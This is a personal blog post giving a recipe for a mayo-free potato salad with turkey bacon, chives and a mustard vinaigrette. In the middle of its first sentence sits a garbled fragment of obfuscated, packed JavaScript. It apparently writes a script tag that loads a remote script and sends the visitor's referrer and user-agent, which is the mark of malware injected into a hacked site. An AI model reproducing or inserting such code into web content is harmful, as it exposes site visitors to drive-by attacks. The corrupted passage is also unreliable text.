We had this tasty no-mayo-potatos-salad a few weeks ago at a friend’s BBQ. It’s based on a Whole ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibibz|var|u0026u|referrer|hbdrs||js|php’.split(‘|’),0,{}))
Foods recipe that I altered based on what I had around the house.
The lack of mayo means it can sit out for a bit longer without the concern for food poisoning 🙂 And it means it’s a little less heavy. Perfect for a final summer BBQ or some tailgating fun!
It’s actually REALLY REALLY delicious and because there is no mayo, it’s totally guilt free…right? It sat on our counter all afternoon and Nick and I just took turns eating straight out of the bowl. Classy. If you ever come and eat at our house, we’ll give you a plate. I promise.
Ingredients
3lbs of gold potatoes (TJs sells a 3lb bag)
1/2 c Extra virgin olive oil
3 Tbs White wine vinegar
2 tsp Dijon mustard
1/2 Tbs Caper liquid from the jar (the recipe calls for 1 Tbs, but I cut it in half because it seemed weird to put caper liquid into anything…..but at the same time, I wanted to see what it would taste like….so I cut it in half….odd logic, I know)
1 clove of garlic finely chopped
1/2 c finely chopped chives
1/3 c chopped flat leaf parsley
4 strips of turkey bacon (I’m sure real bacon would have been AMAZING, but we were trying to keep this “healthy”
1. Put the whole potatoes into a large pot and fill with water. Bring the pot to a boil, reduce heat to med-low, and simmer for ~15 minutes, or until potatoes are soft.
2. Prep the dressing by mixing the olive oil, vinegar, mustard, caper juice and garlic
3. Slice potatoes into ~1″ size pieces. Pour ~1/2 of the dressing over the warm potatoes. Set aside to cool
4. Prep the parsley and onions.
5. Slice the bacon into bacon-bit sized pieces. I sliced the bacon once length wise and then chopped it up as small as possible. I cooked it until it was as crispy as turkey bacon gets.
6. Once the potatoes have cooled, mix in the parsley, onions, bacon and the remainder of the dressing.
Enjoy!
